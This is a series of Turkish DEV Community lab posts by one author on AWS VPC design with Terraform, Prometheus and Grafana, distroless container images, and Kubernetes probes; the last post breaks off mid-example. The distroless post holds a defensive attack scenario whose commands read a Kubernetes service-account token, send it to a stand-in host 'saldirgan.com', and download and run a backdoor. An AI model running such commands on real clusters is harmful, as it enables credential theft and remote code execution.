DEV Community: Taha Yağız Güler

AWS VPC Networking — Public Subnet, Private Subnet ve 3-Tier Mimari

Taha Yağız Güler — Sat, 30 May 2026 14:17:51 +0000

Temel Kavramlar

CIDR — IP Adresi Aralığı

10.0.0.0/16 → 65,536 IP adresi  (VPC için)
10.0.1.0/24 → 256 IP adresi     (subnet için)

VPC CIDR'ı subnet'leri kapsamalı — 10.0.0.0/16 VPC'nin içinde 10.0.1.0/24 subnet açılabilir.

Route Table — Trafik Yönlendirme

Subnet'e gelen trafiğin nereye gideceğini söyler. Public ve private subnet'in tek teknik farkı burada:

Public subnet route table:
  10.0.0.0/16 → local   (VPC içi)
  0.0.0.0/0   → IGW     (internete çık)

Private subnet route table:
  10.0.0.0/16 → local   (VPC içi)
  0.0.0.0/0   → NAT     (NAT üzerinden dışa çık)

DB subnet route table:
  10.0.0.0/16 → local   (sadece VPC içi — internet yok)

IGW vs NAT Gateway

Internet Gateway: İki yönlü kapı. Dışarıdan içeri, içeriden dışarı trafik geçer. Public subnet'teki kaynaklar public IP alır, doğrudan internete açılır.

NAT Gateway: Tek yönlü kapı. Sadece içeriden dışarıya. Private subnet'teki EC2 dnf update yapmak için NAT üzerinden çıkar ama dışarıdan bu EC2'ya doğrudan erişilemez.

Kurduğumuz Mimari

İnternet
    ↓
Internet Gateway
    ↓
┌─────────────────────────────────────┐
│ Public Subnet (AZ-a + AZ-b)         │
│ ALB + NAT Gateway                   │
│ Route: 0.0.0.0/0 → IGW              │
└─────────────────────────────────────┘
    ↓
┌─────────────────────────────────────┐
│ Private Subnet (AZ-a + AZ-b)        │
│ EC2 — Uygulama Sunucusu             │
│ Route: 0.0.0.0/0 → NAT             │
└─────────────────────────────────────┘
    ↓
┌─────────────────────────────────────┐
│ DB Subnet (AZ-a + AZ-b)             │
│ RDS — PostgreSQL                    │
│ Route: sadece local (internet yok)  │
└─────────────────────────────────────┘

Her katmanda 2 AZ — biri düşerse diğeri devam eder.

Terraform ile VPC Kurulumu

VPC ve Subnet'ler

resource "aws_vpc" "main" {
  cidr_block           = "10.0.0.0/16"
  enable_dns_hostnames = true
  enable_dns_support   = true

  tags = { Name = "${var.environment}-vpc" }
}

# Public Subnet — 2 AZ
resource "aws_subnet" "public" {
  count             = length(var.azs)
  vpc_id            = aws_vpc.main.id
  cidr_block        = cidrsubnet(var.vpc_cidr, 8, count.index + 1)
  availability_zone = var.azs[count.index]
  map_public_ip_on_launch = true

  tags = {
    Name = "${var.environment}-public-${var.azs[count.index]}"
    Tier = "public"
  }
}

# Private Subnet — 2 AZ
resource "aws_subnet" "private" {
  count             = length(var.azs)
  vpc_id            = aws_vpc.main.id
  cidr_block        = cidrsubnet(var.vpc_cidr, 8, count.index + 3)
  availability_zone = var.azs[count.index]

  tags = {
    Name = "${var.environment}-private-${var.azs[count.index]}"
    Tier = "private"
  }
}

# DB Subnet — 2 AZ
resource "aws_subnet" "db" {
  count             = length(var.azs)
  vpc_id            = aws_vpc.main.id
  cidr_block        = cidrsubnet(var.vpc_cidr, 8, count.index + 5)
  availability_zone = var.azs[count.index]

  tags = {
    Name = "${var.environment}-db-${var.azs[count.index]}"
    Tier = "db"
  }
}

cidrsubnet(var.vpc_cidr, 8, count.index + 1) otomatik CIDR hesaplıyor:

public: 10.0.1.0/24, 10.0.2.0/24
private: 10.0.3.0/24, 10.0.4.0/24
db: 10.0.5.0/24, 10.0.6.0/24

IGW, NAT ve Route Table'lar

resource "aws_internet_gateway" "main" {
  vpc_id = aws_vpc.main.id
}

resource "aws_eip" "nat" {
  domain = "vpc"
}

resource "aws_nat_gateway" "main" {
  allocation_id = aws_eip.nat.id
  subnet_id     = aws_subnet.public[0].id  # NAT public subnet'te olmalı
  depends_on    = [aws_internet_gateway.main]
}

# Public route table — IGW üzerinden internete
resource "aws_route_table" "public" {
  vpc_id = aws_vpc.main.id
  route {
    cidr_block = "0.0.0.0/0"
    gateway_id = aws_internet_gateway.main.id
  }
}

# Private route table — NAT üzerinden dışa
resource "aws_route_table" "private" {
  vpc_id = aws_vpc.main.id
  route {
    cidr_block     = "0.0.0.0/0"
    nat_gateway_id = aws_nat_gateway.main.id
  }
}

# DB route table — internet yok
resource "aws_route_table" "db" {
  vpc_id = aws_vpc.main.id
  # 0.0.0.0/0 route yok
}

Security Group Tasarımı

En kritik nokta: IP aralığı değil, SG referansı kullan.

# ALB SG — internetten 80/443
resource "aws_security_group" "alb" {
  ingress {
    from_port   = 80
    to_port     = 80
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
  }
}

# App SG — sadece ALB SG'den trafik alır
resource "aws_security_group" "app" {
  ingress {
    from_port       = 8080
    to_port         = 8080
    protocol        = "tcp"
    security_groups = [aws_security_group.alb.id]
    # IP değil SG referansı — ALB IP'si değişse bile kural geçerli
  }
}

# RDS SG — sadece App SG'den trafik alır
resource "aws_security_group" "rds" {
  ingress {
    from_port       = 5432
    to_port         = 5432
    protocol        = "tcp"
    security_groups = [aws_security_group.app.id]
  }
}

Bu zincir şunu sağlıyor:

İnternet → ALB (port 80)
ALB → EC2 (port 8080)
EC2 → RDS (port 5432)
İnternet → EC2 ❌
İnternet → RDS ❌
EC2 → RDS doğrudan ❌ (sadece app-sg üzerinden)

ALB — Public Subnet

resource "aws_lb" "main" {
  name               = "${var.environment}-alb"
  internal           = false
  load_balancer_type = "application"
  security_groups    = [var.alb_sg_id]
  subnets            = var.public_subnet_ids  # 2 AZ
}

resource "aws_lb_target_group" "app" {
  port     = 8080
  protocol = "HTTP"
  vpc_id   = var.vpc_id

  health_check {
    path                = "/health"
    healthy_threshold   = 2
    unhealthy_threshold = 3
  }
}

resource "aws_lb_listener" "http" {
  load_balancer_arn = aws_lb.main.arn
  port              = 80
  protocol          = "HTTP"

  default_action {
    type             = "forward"
    target_group_arn = aws_lb_target_group.app.arn
  }
}

EC2 — Private Subnet

resource "aws_instance" "app" {
  instance_type          = "t3.micro"
  subnet_id              = var.private_subnet_ids[0]
  vpc_security_group_ids = [var.app_sg_id]

  # Public IP yok — private subnet'te
  user_data = <<-USERDATA
    #!/bin/bash
    dnf install -y nginx
    cat > /etc/nginx/conf.d/app.conf << 'NGINX'
    server {
      listen 8080;
      location / {
        return 200 'Hello from private subnet!\n';
      }
      location /health {
        return 200 '{"status":"ok"}';
      }
    }
    NGINX
    systemctl restart nginx
  USERDATA
}

# EC2'yu ALB target group'a bağla
resource "aws_lb_target_group_attachment" "app" {
  target_group_arn = var.target_group_arn
  target_id        = aws_instance.app.id
  port             = 8080
}

RDS — DB Subnet

resource "aws_db_subnet_group" "main" {
  subnet_ids = var.db_subnet_ids  # DB subnet'ler
}

resource "aws_db_instance" "main" {
  engine         = "postgres"
  engine_version = "15"
  instance_class = "db.t3.micro"

  db_subnet_group_name   = aws_db_subnet_group.main.name
  vpc_security_group_ids = [var.rds_sg_id]

  publicly_accessible = false  # internet'ten erişilemez
  skip_final_snapshot = true
}

Doğrulama Testleri

Test 1 — ALB üzerinden erişim:

curl http://<alb-dns-name>
# Hello from private subnet!

Test 2 — EC2 private IP, public IP yok:

terraform output app_private_ip
# 10.0.3.111 — public IP yok

Test 3 — RDS dışarıdan erişilemiyor:

nc -zv <rds-address> 5432 -w 5
# Connection timed out

Test 4 — Private EC2 NAT üzerinden dışa çıkabiliyor:

SSM Session Manager ile EC2'ya bağlanıp curl ifconfig.me yaptığında NAT Gateway'in Elastic IP'sini görüyorsun — EC2'nun kendi IP'si değil.

Production Best Practices

Her AZ'de ayrı NAT Gateway:

# Lab'da tek NAT — production'da her AZ için
resource "aws_nat_gateway" "main" {
  count         = length(var.azs)
  subnet_id     = aws_subnet.public[count.index].id
  allocation_id = aws_eip.nat[count.index].id
}

Tek NAT Gateway varken o AZ düşerse tüm private subnet'lerin internet erişimi kesilir.

Bastion host yerine SSM:

Eski: Bastion host (public) → SSH → private EC2
Yeni: SSM Session Manager → private EC2

SSM ile SSH portu kapalı, bastion host maliyeti yok, key yönetimi yok. IAM policy ile kimin hangi instance'a bağlanabileceği kontrol ediliyor.

VPC Flow Logs:

resource "aws_flow_log" "main" {
  vpc_id       = aws_vpc.main.id
  traffic_type = "ALL"
}

Güvenlik olaylarında "kim nereye bağlandı" sorusunun cevabı burada.

RDS multi-AZ:

resource "aws_db_instance" "main" {
  multi_az = true  # otomatik failover
}

Öğrendiklerim

Bu lab'dan önce "public subnet internete açık, private subnet kapalı" diyordum. Şimdi şunu söyleyebiliyorum:

Public ve private subnet'in tek teknik farkı route table'da — public'te 0.0.0.0/0 → IGW var, private'te 0.0.0.0/0 → NAT var, DB subnet'te hiç internet route'u yok.

IGW iki yönlü, NAT tek yönlü. Private EC2 güncelleme yapmak için NAT kullanır ama dışarıdan ona ulaşılamaz. RDS DB subnet'te çünkü oradan internet rotası yok — en kritik veri en izole katmanda.

Security group'larda IP aralığı değil SG referansı kullanmak önemli — ALB IP'si değişse bile app-sg kuralı bozulmaz.

Bu yazı, bir mülakattan aldığım geri bildirimi uygulamalı olarak çalışma serim.
Serinin diğer yazıları:

All code from this lab is available on GitHub. If you spot something that could be done better, I'd genuinely love to hear it in the comments.

Prometheus ve Grafana'yı Derinlemesine Anlamak — TSDB, PromQL ve Custom Exporter

Taha Yağız Güler — Wed, 27 May 2026 16:02:57 +0000

Neden TSDB?

Normal bir veritabanında bir satır güncellenir — eski değer gider, yeni değer gelir. Monitoring'de bu işe yaramaz. "CPU şu an %45" bilgisi değil, "CPU son 1 saatte nasıl değişti" bilgisi lazım.

TSDB — Time Series Database. Her ölçüm ayrı bir nokta olarak saklanır:

cpu_usage{instance="server-1"}  →  [(10:00, 45), (10:15, 52), (10:30, 61), (10:45, 48)]

Normal veritabanında "son 1 saatteki tüm CPU değerlerini getir" sorgusu tüm tabloyu tarar. TSDB'de bu zaten veri modelinin kendisi — timestamp'e göre sıralı saklıyor, range query neredeyse anlık.

İki ek kazanım:

Sıkıştırma: CPU değerleri birbirine yakın — 45, 47, 44, 46. TSDB delta encoding ile bu benzer değerleri çok verimli sıkıştırıyor. Prometheus ortalama sample başına sadece 1.3 byte kullanıyor.

Retention yönetimi: "Son 15 günü tut, eskisini sil" TSDB'de trivial — zaman bazlı block'lar halinde saklıyor, eski block'ları sil.

Pull-based Mimari

Prometheus hedeflerine giderek metric çekiyor — /metrics endpoint'ini ziyaret ediyor. Push-based sistemlerde uygulama metric'lerini merkezi yere göndermek zorunda.

Neden pull daha iyi?

Uygulama çöktüğünde push-based sistemde son başarılı push'u aldık mı, yoksa çökmeden önce mi gönderdi — belirsiz. Pull-based'de Prometheus scrape etmeye çalışır, başarısız olur — bu durumun kendisi bir sinyal, alert tetikler.

Lab Ortamı

Docker Compose ile Prometheus + Grafana + custom exporter stack'i:

prometheus-lab/
├── docker-compose.yml
├── prometheus/
│   ├── prometheus.yml
│   └── rules.yml
├── grafana/
│   └── provisioning/
│       └── datasources/
│           └── prometheus.yml
└── custom-exporter/
    ├── exporter.py
    └── Dockerfile

prometheus/prometheus.yml

global:
  scrape_interval: 15s
  evaluation_interval: 15s

rule_files:
  - "rules.yml"

scrape_configs:
  - job_name: 'prometheus'
    static_configs:
      - targets: ['localhost:9090']

  - job_name: 'custom-exporter'
    static_configs:
      - targets: ['custom-exporter:8000']

docker-compose.yml

version: '3.8'

services:
  prometheus:
    image: prom/prometheus:latest
    ports:
      - "9090:9090"
    volumes:
      - ./prometheus:/etc/prometheus
      - prometheus_data:/prometheus
    command:
      - '--config.file=/etc/prometheus/prometheus.yml'
      - '--storage.tsdb.path=/prometheus'
      - '--storage.tsdb.retention.time=15d'
      - '--web.enable-lifecycle'

  grafana:
    image: grafana/grafana:latest
    ports:
      - "3000:3000"
    volumes:
      - ./grafana/provisioning:/etc/grafana/provisioning
      - grafana_data:/var/lib/grafana
    environment:
      - GF_SECURITY_ADMIN_PASSWORD=admin

  custom-exporter:
    build: ./custom-exporter
    ports:
      - "8000:8000"

volumes:
  prometheus_data:
  grafana_data:

TSDB Dosya Yapısı

Prometheus başladıktan sonra:

docker exec -it prometheus sh
ls /prometheus

chunks_head/
wal/
01XXXXXXXXXXXXXXXXXXXXXX/   ← 2 saatlik block
01YYYYYYYYYYYYYYYYYYYYYY/

WAL (Write Ahead Log): Her scrape önce WAL'a yazılır. Sistem çökerse buradan kurtarılır. Son 2 saatlik veri memory'de, WAL'da yedekleniyor.

Block yapısı: Her block 2 saatlik veri. Zamanla compaction ile birleşiyor — 2 saat → 6 saat → 24 saat → 2 hafta. Eski block'lar retention süresine göre siliniyor.

cat /prometheus/01XXXX.../meta.json

{
  "minTime": 1700000000000,
  "maxTime": 1700007200000,
  "stats": {
    "numSamples": 15420,
    "numSeries": 312
  },
  "compactionLevel": 1
}

minTime ve maxTime bu block'un kapsadığı zaman aralığı. Range query geldiğinde Prometheus sadece ilgili block'lara bakıyor — tüm veriyi taramıyor.

Custom Exporter

Prometheus kendi metric'lerini toplamak için exporter kullanıyor. Node Exporter sistem metriklerini, kube-state-metrics Kubernetes metriklerini topluyor. Kendi uygulamanın metriklerini toplamak için custom exporter yazıyorsun.

Üç metric türü var:

Counter — sadece artar, sıfırlanmaz. Toplam istek sayısı, toplam hata sayısı.

Gauge — artıp azalabilir. Anlık CPU kullanımı, aktif connection sayısı.

Histogram — değerlerin dağılımı. Request latency, response boyutu.

from prometheus_client import start_http_server, Counter, Gauge, Histogram
import time, random

REQUEST_COUNT = Counter(
    'app_requests_total',
    'Toplam istek sayisi',
    ['method', 'endpoint', 'status']
)

ACTIVE_USERS = Gauge(
    'app_active_users',
    'Anlik aktif kullanici sayisi'
)

REQUEST_DURATION = Histogram(
    'app_request_duration_seconds',
    'Istek suresi dagilimi',
    ['endpoint'],
    buckets=[0.01, 0.05, 0.1, 0.25, 0.5, 1.0, 2.5]
)

def simulate_traffic():
    endpoints = ['/api/users', '/api/orders', '/api/products', '/health']

    while True:
        endpoint = random.choice(endpoints)
        status = random.choice(['200', '200', '200', '404', '500'])
        duration = random.uniform(0.01, 0.3)

        REQUEST_COUNT.labels(
            method='GET',
            endpoint=endpoint,
            status=status
        ).inc()

        REQUEST_DURATION.labels(endpoint=endpoint).observe(duration)
        ACTIVE_USERS.set(random.randint(10, 150))
        time.sleep(0.5)

if __name__ == '__main__':
    start_http_server(8000)
    simulate_traffic()

http://localhost:8000/metrics adresinde şunu görürsün:

# TYPE app_requests_total counter
app_requests_total{endpoint="/api/users",method="GET",status="200"} 142.0

# TYPE app_active_users gauge
app_active_users 87.0

# TYPE app_request_duration_seconds histogram
app_request_duration_seconds_bucket{endpoint="/api/users",le="0.1"} 89.0
app_request_duration_seconds_bucket{endpoint="/api/users",le="0.25"} 134.0
app_request_duration_seconds_sum{endpoint="/api/users"} 18.4
app_request_duration_seconds_count{endpoint="/api/users"} 142.0

PromQL

PromQL'i öğrenirken en önemli şey şunu anlamak: Counter'lar sürekli artar — "toplam 142 request" tek başına işe yaramaz. rate ile "saniyede kaç request" hesaplanır.

Temel sorgular:

# Saniyedeki istek hızı
rate(app_requests_total[5m])

# Endpoint bazında grupla
sum by (endpoint) (rate(app_requests_total[1m]))

# Hata oranı
sum(rate(app_requests_total{status="500"}[2m]))
/
sum(rate(app_requests_total[2m]))
* 100

p95 latency — production'da en çok kullandığım sorgu:

histogram_quantile(0.95,
  sum by (endpoint, le) (
    rate(app_request_duration_seconds_bucket[2m])
  )
)

le label'ı histogram bucket'larının üst sınırı — histogram_quantile için zorunlu. 0.95 → isteklerin %95'i bu sürede tamamlanıyor.

Disk dolma tahmini:

predict_linear(prometheus_tsdb_storage_blocks_bytes[1h], 3600)

Mevcut trende göre 1 saat sonraki değeri tahmin ediyor. Disk dolma alertlerinde kullanılıyor.

Metric kaybolursa:

absent(up{job="custom-exporter"})

Uygulama çöktüğünde metric gelmez — absent bunu yakalar.

Alert Kuralları

prometheus/rules.yml:

groups:
  - name: app.rules
    rules:

      - alert: HighErrorRate
        expr: |
          sum(rate(app_requests_total{status="500"}[2m]))
          /
          sum(rate(app_requests_total[2m]))
          > 0.10
        for: 1m
        labels:
          severity: critical
        annotations:
          summary: "Hata orani yuksek"
          description: "Hata orani %{{ $value | humanizePercentage }} ulastu"

      - alert: HighLatency
        expr: |
          histogram_quantile(0.95,
            sum by (endpoint, le) (
              rate(app_request_duration_seconds_bucket[2m])
            )
          ) > 0.5
        for: 1m
        labels:
          severity: warning
        annotations:
          summary: "Yuksek latency: {{ $labels.endpoint }}"

      - alert: ExporterDown
        expr: up{job="custom-exporter"} == 0
        for: 30s
        labels:
          severity: critical
        annotations:
          summary: "Custom exporter down"

for: 1m kritik — koşul anlık doğru olduğunda alert hemen firing olmaz. Önce pending, 1 dakika boyunca koşul doğru kalırsa firing. Anlık spike'larda yanlış alert üretmemek için.

Koşul doğru → pending → (1 dakika geçerse) → firing
Koşul yanlış → resolved

Prometheus UI → Alerts sekmesinde üç durumu canlı izleyebilirsin.

Grafana Dashboard

Prometheus'u datasource olarak ekledikten sonra PromQL sorguları ile panel oluşturuyorsun.

Kurduğum dashboard'daki paneller:

Request Rate — sum by (endpoint) (rate(app_requests_total[1m])) — Time series

Error Rate — hata oranı yüzdesi — Stat panel, threshold: 5% sarı, 10% kırmızı

p95 Latency — histogram_quantile(0.95, ...) — Time series, unit: seconds

Active Users — app_active_users — Gauge, threshold: 120 kırmızı

Request Dağılımı — status code bazında — Pie chart

Dashboard'u JSON olarak export edip repository'ye ekleyebilirsin — takım arkadaşları import eder, sıfırdan kurmak zorunda kalmaz.

Öğrendiklerim

Bu lab'dan önce Prometheus'u "bir şeyleri izleyen araç" olarak görüyordum. Şimdi şunu söyleyebiliyorum:

TSDB seçimi rastgele değil. Monitoring verisinin yazma pattern'i — düzenli aralıklarla aynı metric'lerin yazılması — TSDB için biçilmiş kaftan. Range query'ler hızlı, sıkıştırma verimli, retention yönetimi kolay.

PromQL'de rate ve histogram_quantile olmadan anlamlı sorgu yazmak neredeyse imkânsız. Counter'ların sürekli artan yapısını anlamadan "neden bu grafik düz bir çizgi?" sorusuna cevap veremezsin.

Custom exporter yazmak en değerli adımdı — metric türlerini anlamak için en iyi yol kendi metric'lerini oluşturmak.

Bu yazı, bir mülakattan aldığım geri bildirimi uygulamalı olarak çalışma serim.
Serinin diğer yazıları:

Container İçine Giremiyorum — Ve Bu İyi Bir Şey: Distroless Image'lar

Taha Yağız Güler — Tue, 26 May 2026 11:53:17 +0000

Distroless Nedir?

Normal bir container image düşün. İçinde uygulamanın kendisi var, ama aynı zamanda:

Shell (/bin/sh, /bin/bash)
Paket manager (apt, apk, yum)
Sistem araçları (curl, wget, ls, cat, ps)
C kütüphaneleri
Kullanıcı yönetim araçları

Bunların büyük çoğunluğu uygulamanın çalışması için gerekli değil. Geliştirici kolaylığı için var. Ama bir saldırgan container'a girerse bunları kullanabilir.

Distroless image'lar bu araçların hiçbirini içermez. Google tarafından geliştirilen gcr.io/distroless projesi, her dil için minimal runtime image'lar sunuyor:

gcr.io/distroless/static     → Go, Rust (hiçbir runtime yok)
gcr.io/distroless/base       → glibc gerektiren uygulamalar
gcr.io/distroless/java17     → Java 17 runtime
gcr.io/distroless/nodejs20   → Node.js 20 runtime
gcr.io/distroless/python3    → Python 3 runtime

Lab Ortamı

Docker Desktop, WSL Ubuntu. Kubernetes cluster gerekmedi — image karşılaştırması için sadece Docker yeterli. Güvenlik testleri için Docker Desktop'ın built-in Kubernetes cluster'ını kullandım.

Aynı Uygulamayı İki Farklı Image ile Build Et

Basit bir Go HTTP server:

package main

import (
    "fmt"
    "net/http"
)

func main() {
    http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        fmt.Fprintln(w, "Hello from container!")
    })
    http.HandleFunc("/health", func(w http.ResponseWriter, r *http.Request) {
        fmt.Fprintln(w, "OK")
    })
    http.ListenAndServe(":8080", nil)
}

Alpine Dockerfile:

FROM golang:1.21-alpine AS builder
WORKDIR /app
COPY . .
RUN go build -o server .

FROM alpine:3.19
WORKDIR /app
COPY --from=builder /app/server .
EXPOSE 8080
ENTRYPOINT ["./server"]

Distroless Dockerfile:

FROM golang:1.21-alpine AS builder
WORKDIR /app
COPY . .
RUN CGO_ENABLED=0 go build -o server .

FROM gcr.io/distroless/static
COPY --from=builder /app/server /server
EXPOSE 8080
ENTRYPOINT ["/server"]

CGO_ENABLED=0 kritik — distroless/static içinde C kütüphanesi yok, binary tamamen static olmalı.

Build sonucu:

REPOSITORY       SIZE
go-alpine        22.1MB
go-distroless    17MB

Boyut farkı bu örnekte küçük — asıl fark Python veya Node.js gibi ağır runtime'larda çok daha belirgin oluyor. Ama asıl fark zaten boyut değil.

Image İçeriği — Gerçek Fark Burada

Alpine içinde ne var?

docker run --rm -it go-alpine sh

which sh       # /bin/sh
which wget     # /usr/bin/wget
which ls       # /bin/ls
which ps       # /bin/ps
apk --version  # apk-tools 2.14.x

Shell var, araçlar var, paket manager var.

Distroless içinde ne var?

docker run --rm -it go-distroless sh

docker: Error response from daemon:
exec: "sh": executable file not found in $PATH

Shell yok — container başlamıyor bile. Başka şeyler dene:

docker run --rm go-distroless ls
# exec: "ls": no such file or directory

docker run --rm go-distroless wget
# exec: "wget": no such file or directory

İçinde sadece /server binary'si var. Başka hiçbir şey yok.

Güvenlik Testi — Saldırı Senaryosu

Gerçekçi bir senaryo: uygulamanda RCE (Remote Code Execution) açığı var. Saldırgan container'a girdi. Ne yapabilir?

Kubernetes'te iki pod deploy ettim:

apiVersion: v1
kind: Pod
metadata:
  name: alpine-pod
spec:
  containers:
  - name: app
    image: go-alpine
---
apiVersion: v1
kind: Pod
metadata:
  name: distroless-pod
spec:
  containers:
  - name: app
    image: go-distroless

Alpine'da saldırgan neler yapabilir:

kubectl exec -it alpine-pod -- sh

# Sistemi keşfet
ps aux
cat /etc/hosts
cat /etc/resolv.conf

# Secret ve token ara
env | grep -i secret
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Dosya sistemini tara
find / -name "*.env" 2>/dev/null
find / -name "*.key" 2>/dev/null

# Dışarıya veri sızdır
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
wget -q -O- "http://saldirgan.com/collect?token=$TOKEN"

# Backdoor indir
wget http://saldirgan.com/backdoor -O /tmp/bd
chmod +x /tmp/bd && /tmp/bd &

Her şey çalışıyor. Container ele geçirildi, lateral movement başladı.

Distroless'ta aynı senaryoyu dene:

kubectl exec -it distroless-pod -- sh
# exec: "sh": executable file not found

kubectl exec distroless-pod -- ps
# exec: "ps": executable file not found

kubectl exec distroless-pod -- env
# exec: "env": executable file not found

kubectl exec distroless-pod -- wget
# exec: "wget": executable file not found

Saldırgan RCE açığını başarıyla exploit etti. Ama container içinde elleri boş:

Shell alamıyor
Sistemi keşfedemiyor
Token okuyamıyor
Dışarıya veri gönderemiyor
Yeni araç indiremiyor

kubectl exec çalışmaması bir kısıtlama değil, özellik. Sen giremiyorsan saldırgan da giremiyor.

Not: Distroless saldırıyı imkânsız kılmıyor. RCE açığını kapatmak hâlâ birincil öncelik. Distroless ikinci savunma katmanı — "açık olsa bile zarar sınırlı olsun."

"Peki Debug Nasıl Yapacağım?"

Shell olmadan production'da sorun çıktığında ne yaparsın? Cevap: kubectl debug ve ephemeral container.

Ephemeral container, çalışan bir pod'a geçici olarak eklenen debug container. Pod'un namespace'ini paylaşıyor ama pod'un image'ını değiştirmiyor.

kubectl debug -it distroless-pod \
  --image=busybox \
  --target=app

İçerdesin:

# Distroless pod'un process'lerini gör
ps aux
# PID 1: /server   ← distroless'taki uygulama
# PID 12: sh       ← senin debug shell'in

# Environment variable'ları oku
cat /proc/1/environ | tr '\0' '\n'

# Network bağlantıları
cat /etc/hosts

exit

Production pod'una dokunmadın. Ephemeral container geçici — debug bitince gidiyor.

Production pod'una hiç dokunmak istemiyorsan kopyasını al:

kubectl debug distroless-pod \
  --image=busybox \
  --copy-to=distroless-pod-debug \
  -it

Bu komut pod'un birebir kopyasını oluşturuyor, içine busybox ekliyor, oraya bağlanıyor. Debug bitince:

kubectl delete pod distroless-pod-debug

Node Seviyesinde Debug

Bazen pod seviyesi yetmez — kernel parametreleri, node'daki tüm process'ler, host network. Bunun için node'u debug edersin:

kubectl debug node/desktop-control-plane \
  -it \
  --image=busybox

# Node'daki tüm process'ler
ps aux | head -20

# Node'un dosya sistemi /host altında
ls /host

# Kernel bilgisi
uname -a

exit

Pod Debug vs Node Debug

	Pod Debug	Node Debug
Ne zaman	Uygulama seviyesi sorunlar	Altyapı seviyesi sorunlar
Erişim	Container process'leri	Tüm node
Komut	`kubectl debug pod/...`	`kubectl debug node/...`

Production Best Practices

Multi-stage build her zaman kullan:

# Builder — tüm araçlar burada, final image'a gitmez
FROM golang:1.21 AS builder
WORKDIR /app
COPY . .
RUN CGO_ENABLED=0 go build -o server .

# Runtime — sadece binary
FROM gcr.io/distroless/static
COPY --from=builder /app/server /server
ENTRYPOINT ["/server"]

nonroot tag kullan:

# Root olarak çalışma
FROM gcr.io/distroless/static-debian12:nonroot

debug tag sadece geliştirmede:

# Production
FROM gcr.io/distroless/static

# Development — busybox shell içeriyor, production'da kullanma
FROM gcr.io/distroless/static:debug

Öğrendiklerim

Bu lab'dan önce distroless'ı "image boyutunu küçülten bir şey" olarak görüyordum. Şimdi şunu söyleyebiliyorum:

Boyut küçülmesi yan kazanım. Asıl kazanım attack surface'in minimuma inmesi. Shell yok, paket manager yok, sistem araçları yok — container ele geçirilse bile saldırganın yapabileceği şey çok kısıtlı.

kubectl exec çalışmaması sinir bozucu görünüyor ama doğru soruyu sormak gerekiyor: "Ben giremiyorsam saldırgan da giremez mi?" Evet, giremez. Debug için kubectl debug var — production pod'una dokunmadan ephemeral container ile istediğini yapabilirsin.

Bu yazı, bir mülakattan aldığım geri bildirimi uygulamalı olarak çalışma serim.
Serinin diğer yazıları:

Kubernetes Probe'larını Bozarak Öğrenmek — Liveness, Readiness ve Startup

Taha Yağız Güler — Tue, 26 May 2026 10:53:18 +0000

Probe nedir, neden gerekli?

Kubernetes bir pod'un "çalışıyor" olduğunu bilir — container ayaktaysa çalışıyor demek. Ama "çalışıyor" ile "sağlıklı" aynı şey değil. Uygulama deadlock'a girmiş olabilir, DB bağlantısını kaybetmiş olabilir, henüz başlamayı tamamlamamış olabilir.

Probe'lar Kubernetes'e şunu söyler: "Bu container'ın içindeki uygulamayı benim istediğim şekilde kontrol et."

Üç probe türü var, her biri farklı bir soruyu cevaplıyor:

Probe	Soru	Başarısız olursa
Startup	Uygulama başladı mı?	Pod restart
Readiness	Traffic almaya hazır mı?	Traffic kesilir, pod durmaz
Liveness	Uygulama sağlıklı mı?	Pod restart

En kritik fark readiness ile liveness arasında — birinde pod ölür, diğerinde ölmez.

Lab ortamı

Docker Desktop üzerinde kind cluster, tek node:

kind create cluster --name probe-lab
kubectl create namespace probe-lab
kubectl config set-context --current --namespace=probe-lab

Senaryo 1 — Bozuk Liveness Probe

Nginx 80 portunda çalışıyor ama liveness probe 9999'a bakıyor. Ne olacak?

apiVersion: apps/v1
kind: Deployment
metadata:
  name: liveness-broken
  namespace: probe-lab
spec:
  replicas: 1
  selector:
    matchLabels:
      app: liveness-broken
  template:
    metadata:
      labels:
        app: liveness-broken
    spec:
      containers:
      - name: nginx
        image: nginx:alpine
        ports:
        - containerPort: 80

        livenessProbe:
          httpGet:
            path: /
            port: 9999        # nginx burada dinlemiyor
          initialDelaySeconds: 5
          periodSeconds: 5
          failureThreshold: 3 # 3 başarısız → restart

kubectl apply -f liveness-broken.yaml
kubectl get pods -w

Çıktı:

NAME                    READY   STATUS             RESTARTS   AGE
liveness-broken-xxx     1/1     Running            0          8s
liveness-broken-xxx     1/1     Running            1          23s
liveness-broken-xxx     1/1     Running            2          38s
liveness-broken-xxx     0/1     CrashLoopBackOff   3          53s

Events'e bakınca:

Warning  Unhealthy  Liveness probe failed: dial tcp: connection refused
Warning  Killing    Container failed liveness probe, will be restarted

Ne öğrendim: Liveness başarısız olunca Kubernetes container'ı öldürüp yeniden başlatıyor. Ama sorun devam ettiği için sonsuz döngüye giriyor — buna CrashLoopBackOff deniyor. Production'da bu alarm tetikler, on-call mühendisi uyandırır.

Senaryo 2 — Bozuk Readiness Probe

Aynı nginx, bu sefer readiness probe var olmayan bir path'e bakıyor: /nonexistent. Liveness doğru. Ne olacak?

livenessProbe:
  httpGet:
    path: /        # doğru — pod ölmeyecek
    port: 80

readinessProbe:
  httpGet:
    path: /nonexistent   # 404 dönecek — probe başarısız
    port: 80
  initialDelaySeconds: 3
  periodSeconds: 5
  failureThreshold: 3

kubectl get pods -w

Çıktı:

NAME                     READY   STATUS    RESTARTS   AGE
readiness-broken-xxx     0/1     Running   0          10s
readiness-broken-xxx     0/1     Running   0          60s
readiness-broken-xxx     0/1     Running   0          2m

RESTARTS hiç artmıyor. Pod ölmüyor. Ama 0/1 — traffic almıyor.

Service endpoint'e bakınca:

kubectl get endpoints readiness-broken

NAME               ENDPOINTS   AGE
readiness-broken   <none>      2m

<none> — Kubernetes bu pod'u endpoint listesinden çıkardı. Hiçbir istek buraya gelmiyor.

Ne öğrendim: Readiness ile liveness'ın farkı tam burada netleşiyor. Liveness başarısız → pod restart. Readiness başarısız → pod Running kalıyor, sadece traffic kesiliyor. Pod'u öldürmek her zaman doğru cevap değil — bazen sadece "biraz bekle, hazır olunca gönder" demek yeterli.

Senaryo 3 — Startup Probe Olmadan Yavaş Uygulama

Uygulama başlamak için 40 saniye bekliyor. Startup probe yok, liveness 20 saniyede restart ediyor.

lifecycle:
  postStart:
    exec:
      command: ["/bin/sh", "-c", "sleep 40"]  # 40 saniye beklet

livenessProbe:
  httpGet:
    path: /
    port: 80
  initialDelaySeconds: 5
  periodSeconds: 5
